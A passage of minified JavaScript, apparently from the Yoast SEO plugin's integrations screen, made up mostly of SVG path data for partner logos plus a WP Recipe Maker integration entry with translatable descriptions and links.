1-1.982-.982 4.705 4.705 0 0 1-1.368-1.649c-.339-.666-.509-1.444-.509-2.333 0-1.122.204-2.034.614-2.736a4.557 4.557 0 0 1 1.613-1.649 7.278 7.278 0 0 1 2.245-.859c.83-.175 1.666-.31 2.508-.404.725-.14 1.415-.239 2.069-.298a9.71 9.71 0 0 0 1.736-.298c.503-.14.9-.356 1.193-.649.292-.292.438-.73.438-1.315 0-.514-.123-.935-.368-1.263a2.479 2.479 0 0 0-.912-.754 3.972 3.972 0 0 0-1.21-.351 9.788 9.788 0 0 0-1.263-.088c-1.122 0-2.047.234-2.771.702-.725.468-1.135 1.193-1.228 2.175h-3.999c.07-1.169.351-2.14.842-2.911a5.816 5.816 0 0 1 1.877-1.859 7.688 7.688 0 0 1 2.578-.982 15.35 15.35 0 0 1 2.946-.281c.888 0 1.765.094 2.631.281a7.5 7.5 0 0 1 2.333.912 5.065 5.065 0 0 1 1.666 1.631c.421.666.631 1.479.631 2.438v9.331h.002Zm-3.998-5.052c-.608.398-1.356.638-2.245.719-.889.082-1.777.205-2.666.369-.421.07-.83.17-1.228.298a3.69 3.69 0 0 0-1.052.526 2.316 2.316 0 0 0-.719.877c-.175.363-.263.801-.263 1.315 0 .445.128.819.386 1.123.257.304.567.543.93.719.362.175.759.298 1.193.368.432.071.824.105 1.175.105.444 0 .924-.058 1.438-.175.514-.117 1-.316 1.456-.596.456-.28.836-.636 1.14-1.07.304-.432.456-.964.456-1.596v-2.982h-.001ZM42.898 143.39c.117 1.17.561 1.988 1.333 2.456.772.468 1.695.701 2.771.701.374 0 .801-.029 1.28-.088.479-.058.93-.169 1.351-.333a2.531 2.531 0 0 0 1.035-.719c.268-.316.391-.731.368-1.245-.024-.514-.21-.935-.561-1.263-.351-.327-.801-.59-1.35-.789a13.15 13.15 0 0 0-1.877-.509 85.428 85.428 0 0 1-2.14-.456 19.787 19.787 0 0 1-2.157-.596 6.942 6.942 0 0 1-1.859-.947 4.36 4.36 0 0 1-1.315-1.526c-.328-.619-.491-1.386-.491-2.298 0-.982.239-1.806.719-2.473a5.506 5.506 0 0 1 1.824-1.613 7.934 7.934 0 0 1 2.455-.859c.9-.163 1.759-.245 2.578-.245.935 0 1.829.1 2.683.298a7.311 7.311 0 0 1 2.315.965 5.684 5.684 0 0 1 1.719 1.736c.456.714.742 1.573.86 2.578h-4.174c-.188-.958-.626-1.601-1.316-1.929-.69-.327-1.479-.491-2.368-.491-.281 0-.614.024-.999.07a4.647 4.647 0 0 0-1.087.263 2.29 2.29 0 0 0-.859.561c-.234.246-.351.567-.351.965 0 .491.169.889.509 1.193.339.304.783.556 1.333.754.549.199 1.175.368 1.876.508.702.14 1.426.293 2.175.456.724.164 1.438.363 2.14.596.701.234 1.327.55 1.877.947a4.6 4.6 0 0 1 1.333 1.508c.339.609.508 1.356.508 2.245 0 1.076-.246 1.988-.737 2.736a5.805 5.805 0 0 1-1.912 1.824 8.677 8.677 0 0 1-2.613 1.017c-.959.21-1.906.316-2.841.316-1.146 0-2.204-.129-3.174-.386-.971-.257-1.812-.649-2.525-1.175a5.66 5.66 0 0 1-1.684-1.964c-.409-.784-.626-1.713-.649-2.789h3.997ZM56.086 131.079h4.385l4.735 13.539h.07l4.595-13.539h4.174l-7.05 19.116a142.32 142.32 0 0 1-.965 2.35 8.449 8.449 0 0 1-1.157 1.982 5 5 0 0 1-1.701 1.368c-.678.339-1.543.509-2.596.509-.936 0-1.859-.07-2.771-.21v-3.368c.327.047.643.1.947.158.304.058.619.088.947.088.467 0 .853-.058 1.157-.175a1.93 1.93 0 0 0 .754-.509c.198-.223.368-.486.509-.79.14-.304.268-.655.386-1.052l.456-1.403-6.875-18.064ZM90.18 149.213v-3.438h-.07a5.2 5.2 0 0 1-1.035 1.614 6.68 6.68 0 0 1-1.561 1.245 8.07 8.07 0 0 1-1.877.789 7.308 7.308 0 0 1-1.982.281c-1.38 0-2.578-.251-3.595-.754a7.19 7.19 0 0 1-2.543-2.069c-.679-.877-1.181-1.894-1.508-3.052a13.386 13.386 0 0 1-.491-3.666c0-1.286.163-2.508.491-3.665.327-1.157.83-2.175 1.508-3.052a7.37 7.37 0 0 1 2.543-2.087c1.017-.514 2.215-.772 3.595-.772.678 0 1.339.082 1.982.245a6.668 6.668 0 0 1 1.807.754 6.366 6.366 0 0 1 1.491 1.245 5.244 5.244 0 0 1 1 1.719h.07v-10.382h2.21v25.044H90.18v.001Zm-12.119-6.261a7.713 7.713 0 0 0 1.052 2.473 5.783 5.783 0 0 0 1.842 1.771c.748.456 1.649.684 2.701.684 1.169 0 2.157-.228 2.964-.684a5.854 5.854 0 0 0 1.964-1.771 7.272 7.272 0 0 0 1.087-2.473c.222-.924.333-1.853.333-2.789 0-.935-.111-1.864-.333-2.788a7.32 7.32 0 0 0-1.087-2.473 5.857 5.857 0 0 0-1.964-1.772c-.807-.456-1.795-.684-2.964-.684-1.052 0-1.953.228-2.701.684a5.786 5.786 0 0 0-1.842 1.772 7.69 7.69 0 0 0-1.052 2.473 11.893 11.893 0 0 0-.333 2.788c0 .936.111 1.866.333 2.789ZM98.668 124.169v3.543h-2.21v-3.543h2.21Zm0 6.945v18.099h-2.21v-18.099h2.21ZM117.767 151.353c-.293 1.076-.754 1.988-1.386 2.736-.632.748-1.456 1.321-2.473 1.719-1.017.397-2.263.596-3.736.596a11.21 11.21 0 0 1-2.666-.316 7.566 7.566 0 0 1-2.332-.982 5.83 5.83 0 0 1-1.719-1.701c-.456-.69-.719-1.514-.789-2.473h2.21c.117.678.345 1.245.684 1.702.339.456.748.824 1.228 1.105a5.45 5.45 0 0 0 1.596.614 8.33 8.33 0 0 0 1.789.193c2.057 0 3.543-.585 4.455-1.754.912-1.17 1.368-2.853 1.368-5.051v-2.456h-.07a6.466 6.466 0 0 1-2.262 2.701c-.994.678-2.157 1.017-3.49 1.017-1.45 0-2.689-.24-3.718-.719s-1.877-1.14-2.543-1.982c-.666-.842-1.152-1.829-1.456-2.964a13.97 13.97 0 0 1-.456-3.63c0-1.239.181-2.414.544-3.525.362-1.11.888-2.081 1.578-2.911a7.341 7.341 0 0 1 2.561-1.964c1.017-.479 2.18-.719 3.49-.719a6.36 6.36 0 0 1 1.912.281c.596.188 1.14.45 1.631.789.491.339.93.731 1.316 1.175.386.445.684.912.894 1.403h.07v-3.122h2.21v16.626c-.001 1.332-.148 2.536-.44 3.612Zm-5.068-4.823a5.762 5.762 0 0 0 1.824-1.613 7.108 7.108 0 0 0 1.105-2.297 9.7 9.7 0 0 0 .368-2.666c0-.888-.105-1.777-.316-2.666a7.709 7.709 0 0 0-1.017-2.42 5.534 5.534 0 0 0-1.806-1.754c-.737-.444-1.631-.666-2.683-.666-1.052 0-1.953.216-2.701.649a5.76 5.76 0 0 0-1.859 1.701 7.118 7.118 0 0 0-1.07 2.403c-.223.9-.333 1.818-.333 2.754 0 .912.117 1.801.351 2.666a6.82 6.82 0 0 0 1.087 2.297 5.616 5.616 0 0 0 1.859 1.613c.748.41 1.636.614 2.666.614.958-.001 1.8-.205 2.525-.615ZM124.66 124.169v3.543h-2.21v-3.543h2.21Zm0 6.945v18.099h-2.21v-18.099h2.21ZM136.094 131.114v1.859h-3.683v12.207c0 .725.099 1.292.298 1.701.198.41.696.638 1.491.684.631 0 1.263-.035 1.894-.105v1.859c-.328 0-.655.011-.982.035-.328.023-.655.035-.982.035-1.473 0-2.503-.286-3.087-.86-.585-.573-.865-1.631-.842-3.174v-12.382h-3.157v-1.859h3.157v-5.437h2.21v5.437h3.683ZM139.742 133.92a5.183 5.183 0 0 1 1.526-1.894c.643-.491 1.397-.853 2.262-1.087.865-.233 1.824-.351 2.877-.351.794 0 1.59.076 2.385.228a5.785 5.785 0 0 1 2.14.859c.631.421 1.146 1.012 1.543 1.772s.596 1.748.596 2.964v9.611c0 .888.433 1.332 1.298 1.332.257 0 .491-.047.701-.14v1.859c-.257.047-.486.082-.684.105a6.52 6.52 0 0 1-.754.035c-.561 0-1.011-.075-1.35-.228a1.819 1.819 0 0 1-.79-.649 2.432 2.432 0 0 1-.368-1 8.508 8.508 0 0 1-.088-1.281h-.07a14.82 14.82 0 0 1-1.21 1.561 5.98 5.98 0 0 1-1.368 1.14 6.291 6.291 0 0 1-1.719.701c-.643.163-1.409.246-2.297.246-.842 0-1.631-.1-2.367-.298a5.292 5.292 0 0 1-1.929-.947 4.52 4.52 0 0 1-1.298-1.649c-.316-.666-.474-1.455-.474-2.367 0-1.263.281-2.251.842-2.964.562-.713 1.303-1.256 2.227-1.631.924-.374 1.965-.637 3.122-.789 1.157-.152 2.333-.298 3.525-.438.467-.047.877-.105 1.228-.175.351-.07.643-.193.877-.368.233-.175.414-.415.543-.719.128-.304.193-.702.193-1.193 0-.748-.123-1.362-.369-1.841a2.918 2.918 0 0 0-1.017-1.14 4.098 4.098 0 0 0-1.508-.579 10.227 10.227 0 0 0-1.842-.158c-1.403 0-2.549.333-3.437 1-.889.666-1.356 1.736-1.404 3.209h-2.21c.071-1.052.293-1.964.668-2.736Zm11.049 5.402c-.141.258-.41.445-.807.561a8.058 8.058 0 0 1-1.052.245c-.936.164-1.9.311-2.894.439-.994.129-1.9.322-2.718.579-.819.258-1.491.626-2.017 1.105-.526.48-.789 1.163-.789 2.052 0 .562.111 1.059.333 1.491.222.433.52.807.894 1.123.374.316.807.556 1.298.719.491.164.994.246 1.508.246.842 0 1.649-.128 2.42-.386a5.951 5.951 0 0 0 2.017-1.123 5.455 5.455 0 0 0 1.368-1.789c.339-.702.509-1.496.509-2.385v-2.876h-.07v-.001ZM157.525 124.169h2.21v25.044h-2.21zM181.061 149.213h-3.788v-2.455h-.07c-.538 1.052-1.321 1.806-2.35 2.262a7.965 7.965 0 0 1-3.262.684c-1.427 0-2.672-.251-3.736-.754-1.064-.502-1.947-1.186-2.648-2.052-.702-.865-1.228-1.888-1.578-3.069-.351-1.18-.526-2.449-.526-3.806 0-1.636.222-3.052.666-4.244.444-1.193 1.035-2.175 1.772-2.946a6.852 6.852 0 0 1 2.525-1.701 8.047 8.047 0 0 1 2.894-.544 9.62 9.62 0 0 1 1.719.158 7.559 7.559 0 0 1 1.683.509 6.659 6.659 0 0 1 1.491.894c.456.363.836.789 1.14 1.28h.071v-9.26h3.998v25.044h-.001Zm-13.96-8.874c0 .772.099 1.532.298 2.28.198.748.503 1.415.912 1.999.409.585.93 1.053 1.561 1.404.632.35 1.379.526 2.245.526.888 0 1.654-.187 2.298-.561a4.758 4.758 0 0 0 1.578-1.473 6.672 6.672 0 0 0 .912-2.052c.198-.76.298-1.538.298-2.333 0-2.01-.45-3.577-1.351-4.7-.901-1.123-2.122-1.684-3.665-1.684-.936 0-1.725.193-2.368.579a4.862 4.862 0 0 0-1.578 1.508 6.281 6.281 0 0 0-.877 2.105 10.981 10.981 0 0 0-.263 2.402ZM193.724 149.704c-1.45 0-2.742-.24-3.876-.719-1.135-.479-2.093-1.14-2.876-1.982-.784-.842-1.38-1.847-1.789-3.017-.409-1.169-.613-2.455-.613-3.859 0-1.379.204-2.653.613-3.823.409-1.169 1.006-2.175 1.789-3.017.783-.842 1.742-1.502 2.876-1.982 1.134-.479 2.426-.719 3.876-.719 1.45 0 2.742.24 3.876.719 1.134.48 2.093 1.14 2.877 1.982.783.842 1.379 1.848 1.789 3.017.409 1.17.614 2.444.614 3.823 0 1.404-.205 2.69-.614 3.859-.409 1.17-1.006 2.175-1.789 3.017-.784.842-1.743 1.503-2.877 1.982-1.134.479-2.427.719-3.876.719Zm0-3.157c.888 0 1.66-.187 2.315-.561a4.876 4.876 0 0 0 1.614-1.473 6.434 6.434 0 0 0 .93-2.052 9.219 9.219 0 0 0 0-4.648 6.204 6.204 0 0 0-.93-2.052 4.969 4.969 0 0 0-1.614-1.456c-.655-.374-1.427-.561-2.315-.561-.889 0-1.66.188-2.315.561a4.943 4.943 0 0 0-1.613 1.456 6.204 6.204 0 0 0-.93 2.052 9.174 9.174 0 0 0 0 4.648c.198.76.509 1.444.93 2.052a4.873 4.873 0 0 0 1.613 1.473c.654.375 1.426.561 2.315.561ZM204.562 131.079h4.244l3.543 13.539h.071l3.402-13.539h4.034l3.262 13.539h.071l3.683-13.539h4.069l-5.682 18.134h-4.104l-3.367-13.469h-.07l-3.332 13.469h-4.209l-5.615-18.134ZM233.499 131.079h3.788v2.666l.07.07a6.711 6.711 0 0 1 2.385-2.368c.982-.573 2.069-.859 3.262-.859 1.987 0 3.554.515 4.7 1.543 1.146 1.029 1.719 2.573 1.719 4.63v12.452h-3.998v-11.4c-.047-1.426-.351-2.461-.912-3.104-.562-.643-1.438-.965-2.631-.965-.678 0-1.286.123-1.824.369a3.953 3.953 0 0 0-1.368 1.017 4.807 4.807 0 0 0-.877 1.526 5.438 5.438 0 0 0-.316 1.859v10.698h-3.998v-18.134ZM253.738 124.169h3.999v25.044h-3.999zM270.399 149.704c-1.45 0-2.742-.24-3.876-.719-1.135-.479-2.093-1.14-2.876-1.982-.784-.842-1.38-1.847-1.789-3.017-.409-1.169-.613-2.455-.613-3.859 0-1.379.204-2.653.613-3.823.409-1.169 1.006-2.175 1.789-3.017.783-.842 1.742-1.502 2.876-1.982 1.134-.479 2.426-.719 3.876-.719 1.45 0 2.742.24 3.876.719 1.134.48 2.093 1.14 2.877 1.982.783.842 1.379 1.848 1.789 3.017.409 1.17.614 2.444.614 3.823 0 1.404-.205 2.69-.614 3.859-.409 1.17-1.006 2.175-1.789 3.017-.784.842-1.743 1.503-2.877 1.982-1.135.479-2.427.719-3.876.719Zm0-3.157c.888 0 1.66-.187 2.315-.561a4.876 4.876 0 0 0 1.614-1.473 6.434 6.434 0 0 0 .93-2.052 9.219 9.219 0 0 0 0-4.648 6.204 6.204 0 0 0-.93-2.052 4.969 4.969 0 0 0-1.614-1.456c-.655-.374-1.427-.561-2.315-.561-.889 0-1.66.188-2.315.561a4.943 4.943 0 0 0-1.613 1.456 6.204 6.204 0 0 0-.93 2.052 9.174 9.174 0 0 0 0 4.648c.198.76.509 1.444.93 2.052a4.873 4.873 0 0 0 1.613 1.473c.654.375 1.426.561 2.315.561ZM298.073 145.18c0 .491.064.842.193 1.052.128.21.38.316.754.316h.421c.163 0 .35-.023.561-.07v2.771c-.14.047-.321.099-.543.158-.223.058-.451.111-.684.158a7.387 7.387 0 0 1-1.298.14c-.818 0-1.497-.164-2.034-.491-.538-.327-.889-.9-1.052-1.719-.795.771-1.772 1.333-2.929 1.683-1.158.351-2.274.526-3.349.526a8.215 8.215 0 0 1-2.35-.333 6.15 6.15 0 0 1-1.982-.982 4.705 4.705 0 0 1-1.368-1.649c-.339-.666-.509-1.444-.509-2.333 0-1.122.205-2.034.614-2.736a4.552 4.552 0 0 1 1.614-1.649 7.282 7.282 0 0 1 2.244-.859c.83-.175 1.666-.31 2.508-.404.725-.14 1.415-.239 2.069-.298a9.695 9.695 0 0 0 1.736-.298c.503-.14.9-.356 1.193-.649.292-.292.439-.73.439-1.315 0-.514-.123-.935-.369-1.263a2.479 2.479 0 0 0-.912-.754 3.972 3.972 0 0 0-1.21-.351 9.788 9.788 0 0 0-1.263-.088c-1.123 0-2.047.234-2.771.702-.725.468-1.135 1.193-1.228 2.175h-3.999c.071-1.169.351-2.14.842-2.911a5.806 5.806 0 0 1 1.877-1.859 7.671 7.671 0 0 1 2.578-.982 15.36 15.36 0 0 1 2.947-.281c.888 0 1.765.094 2.631.281a7.5 7.5 0 0 1 2.333.912 5.065 5.065 0 0 1 1.666 1.631c.421.666.631 1.479.631 2.438v9.331h-.001Zm-3.998-5.052c-.609.398-1.357.638-2.245.719-.889.082-1.777.205-2.666.369-.421.07-.83.17-1.228.298a3.71 3.71 0 0 0-1.053.526 2.326 2.326 0 0 0-.719.877c-.175.363-.263.801-.263 1.315 0 .445.128.819.386 1.123a2.8 2.8 0 0 0 .929.719c.363.175.76.298 1.193.368.432.071.824.105 1.175.105a6.51 6.51 0 0 0 1.438-.175c.515-.117 1-.316 1.456-.596a3.82 3.82 0 0 0 1.14-1.07c.304-.432.456-.964.456-1.596v-2.982h.001ZM319.47 149.213h-3.788v-2.455h-.07c-.538 1.052-1.321 1.806-2.35 2.262a7.965 7.965 0 0 1-3.262.684c-1.427 0-2.672-.251-3.736-.754-1.064-.502-1.947-1.186-2.648-2.052-.702-.865-1.228-1.888-1.578-3.069-.351-1.18-.526-2.449-.526-3.806 0-1.636.222-3.052.666-4.244.444-1.193 1.035-2.175 1.772-2.946a6.852 6.852 0 0 1 2.525-1.701 8.047 8.047 0 0 1 2.894-.544 9.62 9.62 0 0 1 1.719.158 7.559 7.559 0 0 1 1.683.509 6.659 6.659 0 0 1 1.491.894c.456.363.836.789 1.14 1.28h.071v-9.26h3.998v25.044h-.001Zm-13.96-8.874c0 .772.099 1.532.298 2.28.198.748.503 1.415.912 1.999.409.585.93 1.053 1.561 1.404.632.35 1.379.526 2.245.526.888 0 1.654-.187 2.298-.561a4.758 4.758 0 0 0 1.578-1.473 6.672 6.672 0 0 0 .912-2.052c.198-.76.298-1.538.298-2.333 0-2.01-.45-3.577-1.351-4.7-.901-1.123-2.122-1.684-3.665-1.684-.936 0-1.725.193-2.368.579a4.862 4.862 0 0 0-1.578 1.508 6.281 6.281 0 0 0-.877 2.105 10.92 10.92 0 0 0-.263 2.402ZM326.836 143.39c.117 1.17.561 1.988 1.333 2.456.772.468 1.695.701 2.771.701.373 0 .801-.029 1.28-.088.479-.058.93-.169 1.351-.333a2.528 2.528 0 0 0 1.034-.719c.269-.316.392-.731.369-1.245-.024-.514-.211-.935-.561-1.263-.351-.327-.801-.59-1.351-.789a13.17 13.17 0 0 0-1.876-.509 85.428 85.428 0 0 1-2.14-.456 19.787 19.787 0 0 1-2.157-.596 6.942 6.942 0 0 1-1.859-.947 4.36 4.36 0 0 1-1.315-1.526c-.328-.619-.491-1.386-.491-2.298 0-.982.24-1.806.719-2.473a5.495 5.495 0 0 1 1.824-1.613 7.934 7.934 0 0 1 2.455-.859c.9-.163 1.76-.245 2.578-.245.935 0 1.83.1 2.684.298a7.311 7.311 0 0 1 2.315.965 5.684 5.684 0 0 1 1.719 1.736c.456.714.742 1.573.86 2.578h-4.174c-.187-.958-.626-1.601-1.315-1.929-.69-.327-1.479-.491-2.367-.491-.281 0-.614.024-1 .07a4.647 4.647 0 0 0-1.087.263 2.303 2.303 0 0 0-.86.561c-.234.245-.35.567-.35.965 0 .491.169.889.508 1.193.339.304.784.556 1.333.754.549.199 1.175.368 1.877.508.701.14 1.426.293 2.174.456.725.164 1.438.363 2.14.596a6.93 6.93 0 0 1 1.876.947 4.6 4.6 0 0 1 1.333 1.508c.339.609.509 1.356.509 2.245 0 1.076-.246 1.988-.737 2.736a5.824 5.824 0 0 1-1.912 1.824 8.688 8.688 0 0 1-2.613 1.017c-.959.21-1.906.316-2.841.316-1.146 0-2.204-.129-3.174-.386-.971-.257-1.813-.649-2.526-1.175a5.647 5.647 0 0 1-1.683-1.964c-.41-.784-.626-1.713-.649-2.789h3.996Z",style:{fill:"#35495c",fillRule:"nonzero"}}))},{name:"WP Recipe Maker",claim:(0,i.createInterpolateElement)((0,o.sprintf)(/* translators: 1: bold open tag; 2: bold close tag. */
(0,o.__)("Get %1$srich results for your recipes%2$s in Google search","wordpress-seo"),"<strong>","</strong>"),{strong:(0,t.createElement)("strong",null)}),learnMoreLink:"https://yoa.st/integrations-about-wp-recipemaker",logoLink:"https://yoa.st/integrations-logo-wp-recipemaker",slug:"wp-recipe-maker",description:(0,o.sprintf)(/* translators: 1: Seriously Simple Podcasting, 2: Yoast SEO */
(0,o.__)("%1$s integrates with %2$s's Schema API to get rich snippets for your recipes!","wordpress-seo"),"WP Recipe Maker","Yoast SEO"),isPremium:!1,isNew:!0,isMultisiteAvailable:!0,logo:e=>t.createElement("svg",Pe({xmlns:"http://www.w3.org/2000/svg",width:185,"aria-hidden":"true",viewBox:"0 0 1488.21 189.15"},e),me||(me=t.createElement("rect",{width:23.81,height:26.01,x:113.83,y:17.03,fill:"#3a5160",rx:4,ry:4,transform:"rotate(-10 125.733 30.062)"})),pe||(pe=t.createElement("rect",{width:23.81,height:26.01,x:119.56,y:49.62,fill:"#3a5160",rx:4,ry:4,transform:"rotate(-10 131.463 62.64)"})),he||(he=t.createElement("path",{fill:"#010101",d:"M1120.63 107.35c-2.45 8.59-4.88 17.07-7.33 25.62-3.61-.29-7.03-.55-10.43-.83-1.86-.15-3.71-.42-5.57-.45-1.3-.02-1.94-.36-2.25-1.74-3.51-15.67-7.15-31.32-10.65-47-2.81-12.58-5.48-25.18-8.27-37.77-.26-1.17-.89-2.26-1.69-3.33.53 34.76 1.77 69.45 3.62 104.35-8.55-.78-16.89-1.54-25.37-2.31-1.24-42.47-3.33-84.87 1.77-127.36 3.42.26 6.78.51 10.13.77 8.19.65 16.38 1.33 24.58 1.92 1.11.08 1.54.43 1.82 1.46 4.04 14.57 7.19 29.33 9.99 44.17 1.23 6.51 2.43 13.02 3.64 19.53.03.18.1.35.27.93 7.73-24.53 13.76-49.07 18.93-73.99 2.23.17 4.42.31 6.61.5 8.44.73 16.87 1.47 25.31 2.21 1.05.09 2.11.21 3.17.25.97.03 1.37.34 1.39 1.41.21 8.53.65 17.05.74 25.58.26 23.65.55 47.3.48 70.95-.03 11.06-.84 22.13-1.31 33.19-.03.73-.14 1.45-.22 2.28-8.85-.83-17.5-1.63-26.35-2.46 3.22-33.66 3.51-67.33 4.22-100.99-.27-.06-.54-.13-.81-.19-.52 1.33-1.18 2.62-1.53 3.99-1.39 5.46-2.64 10.95-4.02 16.42-3.6 14.26-7.23 28.51-10.87 42.88ZM265.8 87.29c-2.62 11.14-5.09 22.19-7.86 33.17-1.9 7.51-4.21 14.92-6.35 22.37-.08.28-.24.53-.4.89-3.54-.27-7.05-.53-10.56-.8-2.11-.16-4.22-.4-6.33-.49-1.11-.05-1.61-.3-1.85-1.54-2.74-14.44-5.65-28.85-8.35-43.29-2.31-12.35-4.52-24.72-6.57-37.11-1.61-9.76-2.95-19.56-4.35-29.35-.85-5.96-1.59-11.93-2.36-17.9-.06-.48 0-.98 0-1.63 8.26.69 16.46 1.38 24.63 2.06 3.21 29.25 6.41 58.4 9.61 87.54.24.02.47.03.71.05 3.2-12.67 5.75-25.49 8.2-38.32 2.46-12.87 4.49-25.83 6.73-38.86 6.2.55 12.56 1.12 19.02 1.7 2.28 25.19 5.32 50.17 8.09 75.17.25 0 .5.02.76.03 7.1-29.92 13.76-59.93 17.67-90.72 8.43.7 16.82 1.39 25.32 2.09-.87 4.78-1.66 9.33-2.54 13.86-4.56 23.44-9.8 46.74-16.01 69.81-3.96 14.69-8.3 29.28-12.41 43.93-.38 1.34-.9 1.62-2.31 1.47-5.21-.56-10.44-.94-15.66-1.32-.85-.06-1.19-.3-1.4-1.15-3.78-14.91-7.62-29.81-11.4-44.72-.93-3.65-1.66-7.36-2.49-11.04-.06-.28-.23-.54-.44-1.02-.39 1.82-.74 3.41-1.11 5.13Zm317.9 32.76c4.39 6.04 8.71 11.99 13.09 18.03-6.24 4.56-12.38 9.05-18.32 13.39-14.44-19.46-28.78-38.78-43.12-58.11-.16.08-.32.15-.48.23-.58 17.99-1.16 35.99-1.74 54.13-8.88-.97-17.46-1.9-25.78-2.81 0-3.14-.13-6.08.02-9 1.29-25.57 1.83-51.15 1.74-76.75-.05-13.67.09-27.34.09-41.01 0-1.21.45-1.72 1.52-2.18 10.29-4.43 21.01-7.33 32.16-8.52 7.54-.81 15.09-1.09 22.51 1.03 14.48 4.15 23.19 13.68 26.52 28.08 2.34 10.1 1.28 19.78-4.3 28.79-3.46 5.59-7.73 10.49-12.74 14.71-4.37 3.68-8.98 7.08-13.47 10.6l22.3 29.38m-15.29-80.78c-2.59-6.62-7.63-9.99-15.03-10.21-5.83-.18-11.4 1.07-16.93 2.68-1.11.32-1.49.79-1.49 1.95-.02 14.86-.1 29.71-.15 44.57 0 .47.05.94.09 1.68 2.3-1.2 4.41-2.23 6.46-3.37 9.2-5.15 17.52-11.34 23.96-19.78 4-5.25 5.34-10.95 3.1-17.51ZM378.34 8.76c9.83-1.09 19.28-.47 28.16 3.98 13.54 6.79 21.67 17.63 24.2 32.39 2.72 15.86-2.85 28.92-14.5 39.69-8.92 8.25-19.54 13.61-31 17.5-1.8.61-3.61 1.25-5.46 1.69-1.04.25-1.22.73-1.2 1.66.16 9.93.28 19.86.41 29.78.05 3.69.1 7.38.14 11.08 0 .34-.05.67-.08 1.15-8.68-.82-17.28-1.63-25.92-2.44-.1-2.25-.23-4.39-.29-6.52-.63-24.35-.69-48.69-.14-73.04.28-12.47.64-24.94.99-37.4.12-4.34.34-8.67.49-13.01.03-.78.23-1.22 1.08-1.51 7.48-2.51 15.12-4.24 23.12-5m11.61 68.82c1.39-.99 2.84-1.91 4.15-2.99 9.26-7.68 13.24-18.64 9.7-30.14-1.47-4.78-4.18-8.72-8.41-11.53-4.72-3.12-9.85-2.69-15.01-1.49-.33.08-.66.89-.68 1.38-.18 4.03-.31 8.07-.4 12.1-.29 12.36-.56 24.72-.83 37.08 0 .24.04.49.07.83 4.01-1.24 7.74-2.94 11.42-5.25Zm503.41 1.2c.89 5.83.84 11.57.28 17.28-.97 9.85-3.39 19.35-7.54 28.38-2.81 6.12-6.3 11.76-11.28 16.45-4.45 4.2-9.67 5.49-15.58 4.64-2.72-.39-5.42-.91-8.27-1.4.43 14.95.87 29.85 1.3 45.02-7.34-.73-14.77-1.46-22.39-2.21-1.11-46.35-2-92.64 1.68-139.13 6.73.77 13.3 1.53 20.11 2.31-.2 5.13-.4 10.22-.61 15.52 1.57-1.65 2.9-3.25 4.43-4.63 4.64-4.2 10.02-6.6 16.45-6.23 6.49.37 11.49 3.39 15.26 8.48 3.18 4.29 4.97 9.17 5.9 14.38.06.34.16.68.26 1.15m-33.25-3.25c-3.68 3.79-5.8 8.45-7.53 13.3-.66 1.85-1.25 3.82-1.3 5.75-.24 9.12-.29 18.24-.4 27.37 0 .34.02.72.18 1.01 2.28 4.2 6.74 4.88 10.26 1.62 3.54-3.28 5.38-7.54 6.89-11.93 3.1-9.04 4.05-18.33 2.74-27.8-.47-3.4-1.34-6.73-3.24-9.7-1.19-1.85-2.59-2.36-4.63-1.49-1 .43-1.87 1.14-2.96 1.87Z"})),ye||(ye=t.createElement("path",{fill:"#020202",d:"M1307.39 122.54c-4.09-4.4-8.1-8.72-12.12-13.04-.13.05-.27.11-.4.16.26 12.07.51 24.13.77 36.33-7.46-.69-14.9-1.39-22.48-2.09-1.58-46.55-.61-92.99 1.71-139.57 7.62.58 15.04 1.15 22.22 1.7-.99 29.54-1.98 58.88-2.97 88.23.22.05.45.11.67.16 11.62-14.1 21.84-29.09 29.48-46.04 5.39 4.5 10.64 8.88 15.99 13.35-6.1 13.98-13.95 26.91-22.87 39.14 4.19 5.22 8.5 10.29 12.47 15.62 3.97 5.32 7.6 10.9 11.43 16.43-5.06 4.7-9.91 9.2-14.91 13.85-5.74-8.57-12.06-16.56-18.99-24.21Zm-65.12 6.6-1.25 17.55c-2.51-.14-4.87-.27-7.22-.42-2.72-.18-5.43-.34-8.14-.61-.43-.04-1.04-.55-1.18-.96-.51-1.55-.85-3.16-1.27-4.82-2.52 1.06-4.86 2.17-7.29 3.04-5.96 2.15-12 2.34-18.07.46-8.06-2.5-13.54-9.59-14.3-17.91-1.04-11.52 4.12-19.78 13.51-25.88 5.95-3.87 12.56-5.98 19.6-6.82l4.69-.55c.08-4.79.21-9.47-.99-14.05-.26-1-.76-1.97-1.32-2.84-2.02-3.17-5.77-3.61-8.52-1.02-3.26 3.07-4.74 7.11-6.04 11.23-.34 1.09-.41 2.55-1.16 3.13-.65.5-2.1.02-3.19-.07-4.71-.41-9.42-.83-14.45-1.28.73-2.67 1.34-5.26 2.15-7.79 2.55-7.94 6.21-15.24 12.46-21.07 9.36-8.75 24.76-8.96 33.63-.29 4.33 4.24 6.71 9.6 7.92 15.38.89 4.22 1.58 8.55 1.71 12.86.43 14.22-.32 28.42-1.29 42.75m-30.89-1.07c2.98-.63 5.97-1.23 8.94-1.94.33-.08.69-.78.71-1.21.14-3.53.21-7.07.28-10.6.03-1.48 0-2.95 0-4.55-2.22.45-4.3.79-6.32 1.31-4.43 1.15-8.39 3.07-10.92 7.1-2.63 4.19-.79 8.59 4.04 9.62.97.21 1.99.18 3.27.26Zm160.42-70.27c8.98-6.55 18.49-7.72 28.52-3.01 4.13 1.94 6.94 5.4 9.16 9.29 3.27 5.71 5.06 11.94 5.77 18.39.77 6.97 1 14 1.5 21.01.07.96-.17 1.34-1.2 1.59-11.84 2.91-23.83 5.07-35.89 6.86-.93.14-1.85.33-2.92.52.63 5.04 1.1 10 4.13 14.24 1.56 2.19 3.14 2.71 5.76 1.99 3.43-.94 5.86-3.28 8-5.88 1.96-2.39 3.66-4.99 5.6-7.67 4.79 2.81 9.66 5.66 14.63 8.56-5.15 8.94-10.94 17.18-21.11 20.95-14 5.18-27.62.46-34.85-13.06-3.12-5.83-4.61-12.13-4.89-18.64-.56-13.37 1.19-26.44 6.29-38.94 2.54-6.23 6.12-11.79 11.5-16.2m13.65 38.82c3.16-.74 6.31-1.47 9.73-2.27-.41-4.68-.62-9.31-1.28-13.87-.37-2.61-1.2-5.23-2.29-7.64-1.23-2.71-3.63-3.09-5.88-1.06a15.806 15.806 0 0 0-3.3 4.2c-3.7 6.95-4.77 14.55-5.43 22.39 2.83-.6 5.51-1.17 8.45-1.76ZM662.46 58.62c5.16 5.37 7.48 11.97 9.02 18.88 1.99 8.95 2.28 18.05 2.26 27.28-13.11 3.37-26.44 5.61-39.9 7.64.55 4.32.98 8.51 2.94 12.35 2.14 4.2 4.64 5.91 10.18 2.42 